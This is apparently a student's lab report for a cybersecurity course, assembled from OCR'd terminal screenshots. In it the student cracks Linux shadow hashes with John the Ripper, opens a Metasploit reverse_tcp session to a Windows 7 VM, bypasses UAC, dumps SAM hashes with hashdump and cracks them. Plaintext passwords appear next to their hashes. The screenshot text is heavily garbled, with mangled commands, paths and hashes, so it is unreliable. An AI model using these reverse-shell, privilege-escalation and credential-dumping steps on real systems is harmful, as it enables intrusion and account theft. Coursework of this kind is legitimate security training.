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Task A

1. Create two groups, one is cyse301s23 and the other is your
MIDAS ID, displaying corresponding GIDs. [IT SAID 23 ON
THE HW DOCUMENT, I know its 2024 but I'm just following the

instructions!!!!)
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2. Create and assign three users to each group. Display UID and GID
info for each user.
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= groupadd rtimmee4
: # tail /fetc/group -n 6

root@CS2APenTest: ~

File Edit View Search Terminal Help

rtimmeo4
rtimmeed
-g rtimmee4

uid=1004 (Virginia) gid=100 002(rtimmoe4)

# id Dr

uid=1005(Drew) 2(rtimmee4) groups=1002(rtimmee4)

uid=1006 (Monrc id=1002( mm@e4) groups=108:

: # id John
s=1001(cyse301s23)

groups=1001(cyse301523)

) groups=1001(cy

3. Choose Six new passwords, from easy to hard, and assign them to
the users you created. Display passwords.

(You can see I left the passwords in a txt file on the side, just to show.)
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appleapple

JohnnyOctober12005

SicSemperTyrannis! Retype new pa:
d

root@CS2APenTest: ~

Search Terminal Help
: # passwd Davi

word updated suc

: # passwd L
ord:

updated succe
: # passwd John

wd: password updated succe

ROckyROad
New pa:

Ro<kleRO@dversion2! Retype new pa

Retype new pass
wd: passwor

word updated suc

or
d updated succe



4. Export all password hashes into a file named YourMIDAS-HASH,
launch dictionary attack to crack the passwords. You must crack
one password in order to complete assignment. (There are time
discrepancies because I went back and had to redo it.)
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: # tail -n 6

password
appleapple

JohnnyOctober12005 INLRBmHcaN150fPyv. PVIX1AVG. : I

Virginia:$6$M/.94fRttb76WMwW. $nPa3SN4
2CQOKHTXM4St3Gu. 5rE44ztRADSTCBMWNED :
. ) Drew: $6$YjCLM2xpz fFvPTYC1$nuGufolul
SicSemperTyrannis! 1£0iYJZA9IRYMErpYF4K2ZYGSsWihCzo: I
Monroe: $6$vz9Y5TeWlmudRFOj $/fduM218eo2
ROckyROad ABVOHGShrg8pLR3 . ALNG1g4FVAr3nhXM1
# tail -n 6 setc/shadow > rtimmee4-HASH
RO<kleRO@dversion2! c#1s
VHCXDEHL . html
IMadeIT-rtimmee4. tx

OAayduCa.html rtimmee4. txt
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zarch

root@CS2APenTest; ~

File Edit View Search Terminal Help
# 1s
EXTRACREDIT-HASH rockyou. txt
IMadeIT-rtimme@4.txt rtimm0o4.exe
rtimmee4-HASH
OAayduCa.html rtimmeed . txt

VHCXDtHL . html
: # john rtimme04-HASH --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (sha5l2crypt, crypt(3) $6% [SHA512 512/512 AVX512BW 8x])
Remaining 4 password hashes with 4 different salts
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
:00:00:22 0O. (ETA: 18 0g/s 1440p/s 58l0c/s 5810C/s 210687..biking
:00:00:25 % (ETA: :44: 06g/s 1451p/s 5825c/s 5825C/s 4444. .holaz
:00:05:00 2.59% (ETA: : 0g/s 1438p/s 5755c/s 5755C/s betheny..beann
:00:08:13 4. (ETA: :37:53) 0g/s 1453p/s 5817c/s 5817C/s 741148..701080
:00:08:14 4. (ETA: : :54) 0g/s 1454p/s 5817c/s 5817C/s 61486148..572006
:00:11:34 6. (ETA: 2 0g/s 1448p/s 5797c/s 5797C/s blunsdon..bluel4®
:00:15:49 8. (ETA: ; 3 0g/s 1429p/s 5719¢/s 5719C/s raymore..rawr<3
:00:20:54 (ETA: 133: 0g/s 1432p/s 5731c/s 5731C/s fork33..fordless
:02:07:44 (ETA: :05: 0g/s 1524p/s 6097c/s 6097C/s 900414105536..90030550888
:02:13:35 (ETA: :06: 0g/s 1519p/s 6@79c/s 6079C/s 5483574..5479338
17:43 (ETA: :07:3 0g/s 1514p/s 6059c/s 6059C/s 360shuvit..3607412239
120:25 (ETA: H 4) 0g/s 1512p/s 6049c/s 6049C/s 262393 621837
:26:57 (ETA: - 5 0g/s 1508p/s 6032c/s 6032C/s 12winners..12thompd
31:28 0g/s 1505p/s 6023c/s 6023C/s 0863399607..0863092395
:36:30 0g/s 1503p/s 6015c/s 6015C/s ©28195095..028154304
137:11 0g/s 1503p/s 6014c/s 6014C/s 017553010..0174991849NAB
:38:08 0g/s 1502p/s 6011lc/s 6011C/s 0O@7nomore..007ajax
:38:49 . 8i (ETA: 18:08: 6g/s 1502p/s 6009c/s 6009C/s (macri)..(karen2391996)
:39:09 DONE (2024-03-25 18:08) 0g/s 1501p/s 6007c/s 6007C/s !!!playboy!!!7..*7Vamos!
completed
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TASK B

1. Log onto VM and create 3 users with different passwords, establish reverse shell
connection with admin privilege to target windows 7 VM.
Below I created the users using the windows terminal.

R Windows 7 on CS301-RTIMNO0A F %

E @ Administrator: Commiand Prompt
[Copyright <c) 2089 Microsoft Corporation. ALl rights resepved.

Byt C:\Windows\systen32onet user Lan biking sadd
The command compleced successfully.

C:\Windows\system32>net user JohnnyCash fire /add
The command completed successfully.

C:“Windows\systen32>net user Anon password -add
The command completed successfully.
[C:\Windows\system32>net user

for SSHWINDOWS?

Guest
JohnnyCash rtimmBa4

The command completed successfully.

C:"Windows\system32>

P i




I’m using the previous exploits we learned to get into the windows 7
machine. The malicious file from the last lab is still on the device.

Applications = Places * [ Terminal = Tue 01:36

Terminal
Edit View Search Terminal Help
evasion
apache2 start
rvice apache2 start
msf5 t payload window r r/reverse tcp
payload => windows/

xploit/multi/handler
) = show options

Module options (exploit/multi/handler):

Name Current

Name e e Description
EXITFUNC process Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.217.3 5 The listen address (an interface may be specified)

LPORT 4428 e The listen port

Exploit target:
Id Name
2] wildcard Target
msf5 exploit( ) = exploit
TCP handler on 192.168

16
session 1 opened (192.168.217.3:4428 -> 192.168.217.2:19703) at 2024-03-26 01:36:04 -0400




2. Display the password hashes by using the ‘hashdump’ command in
the meterpreter shell
Below I use hashdump and put the hashes into a txt file.

ation on CS307-RTIMAMODS

Applications ¥ Places ¥ [ Terminal ~ Tue 01:41 w0~

Terminal

File Edit View Search Terminal Help

Command Descriptien

hashdump Dumps the contents of the SAM datab
Timestomp Commands

Command Description

omp Manipulate file MACE attribu

meterpreter > hashdump
priv_passwd _get sam_has : Operation failed: The parameter is incorrect.

ploit/windows/local/bypassuac
> set session 1

) = exploit

TCP handler on 192.168.217.3:4428
checking level...
t to vaault
UAC can bypass this setting, continuing.
part of Administrators group! Euntlnu1ng
Uploaded the o the filesystem..
Uploading the bypa UAC executable tn the filesystem.
Meterpreter stager executable 73802 byt lnng being uplnudcd
79 bytes) to 192.16 17.
2 opened (192.168.217.3 .4428‘ -» 192.168.217. 5618) at 2024-03-26 01:40:58 -0400

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51484ee:31d6cTefd16ae931b73c59d7e0cd89ch: :
] ad3b435b51404 46 8fbl17ad06bdd830b7586¢C
404 3ldﬁcf 0d16ae931b73c59 7e0c039c0

Ian:1€
JohnnycC

eaee8fb117ad®6bdd836b758




3. Save the password hashes in a file named rtimm.WinHASH in kali

Linux. Run john the ripper for 10 minutes to crack the passwords.
You must crack one password to complete.

H Attacker Kali - Bxternal Workstation on CS301-RTIMMODZ

Applications = Places ~ Tue 01:44 »

nTest: ~

open ~ || @ rtimm004.WinHASH -
Administrator:580:aad3b435b51404eeaad3b435b51404ee:31d6cTefdl6ae931b73c59d7e0c089c0:: :
Anon:1006:aad3b435b51404eeaad3b435b51404ee: 88467 7eaee8ibl117ad06bddB830b7586¢C: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cTeddl6ae931b73c59d7e0cO089cO: & :
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:2d79c7f57c09bad3139756290e444b23: : :
Ian:1004:aad3b435b51404eeaad3b435b51404ee:954d0375d6d2506a69d903a3958d129d: : :
JohnnyCash:1005:aad3b435b51404eeaad3b435b51404ee: 0052ed4459b4687 1e57e0dabaala7i7d: :
rtimmee4:1003:aad3b435b51404eecaad3ba35b51404ee:8846T7eace8fbl17ade6bdd830b7586¢C: : :
Window 7:1000:aad3b435b51404eeaad3b435b51404ee:8846T7eaee8fbl17ado6bddB30b7586¢: : :

Plain Text ¥  Tab Width:8 + Ln 8, Col83
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EXTRACREDIT-HASH rockyou.txt vHCXDtHL.html
IMadeIT-rtimm@o4.txt rtimmeod.

rtimmee4 -HASH
OAayduCa.html rtimmee4. txt

rtimmee4.winHASH

: # john rtimm@®4.wWinHASH
ing: detected hash type "LM", but th ri o recogn
Use the "--format=NT" option to force lo that type i
g default input encoding: UTF-8
ing default target encoding: CP850
pa ord ha s with no differ (LM [DES 512/512 AVX512F])
poor OpenMP alability for this h type, consider --fo
Will run 2 OpenMP threads
ing with single, rul
'q' or Ctrl-C to ort, any othe
Almost done: Proce the remaining buffer candidate pa ords, if any.
Warning: Only 360 can 5 buffered for tl t salt, minimum 1024 needed for performance.
Proceeding with wordl r/s a < :Wordlist

0:00:00 ONE 2, ( * 01:45) 72.72g/s 183418p/s 183418c/ 57KC/s 123456. .MAGNUM2
Ly = r M" options to display all of the cracked pa rds reliably

The picture below shows the highlighted command (with red line) and
the users I made and their commands (also with red lines). I used
password for one of the users.

Hl “Attacker Kali - External Workstation on CS301-RTIMMODA
Applications ~  Places = [ Terminal ~ Tue 01:47 S O
root@CS2APenTest: ~

File Edit View Search Terminal Help
Almost done: Proce e g buffered candidate passwords, if any
cur t 1t, minimum 1024 n
ord.1lst, rules:Wordlist
(Window 7)
(rtimmee4)
(Johnny!
(Ian)
(HomeGroupl
(Guest)
(Anon)
(
0 DONE 3 (2024-03-26 ©1:45) 72.72g/s 183418p/
at=LM" options to display all of t

: # john --show rtimmee4.winHASH
Administr 500:aad3b435b51404eeaad3b435b514
Anon: : 10 ad3b435b51404 ad3b435b5140
Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0cO8ICE
HomeGroup! :100 ad3b435b5140 d3b435b514
Ian::1 d3b4 eeaad3b435b51404 954de
JohnnycCas ad3b435b51 ad3b435b51404e
rtimme =100 3b435b5148- 3b435b514
Window 7::1000:aad3b435b5148. ad3b435b514! eaeeB8fbl17ad06bdd83ab75

8 passwor! a , 0 left
: # john rtimm@e4.wWinHASH --forma
Using ault input encoding: UTF-8
Loaded 8 pa alts (NT [MD4 512/512 AVXS512BW 16x3])
i no OpenMP support for this hash type, consider --fo
Proceeding with single, rul i
r Ctrl-C to abort, almo any ot
ng the remaining buffere d ords, if any.
i buffered for th minimum 48 needed for performan

ding with wordlist:/usr/share/john/password.lst, rules:Wordlist
password (

(Window
(
(Guest)
(JohnnyCash)
ding with incremental:ASCII
biking (Ian)




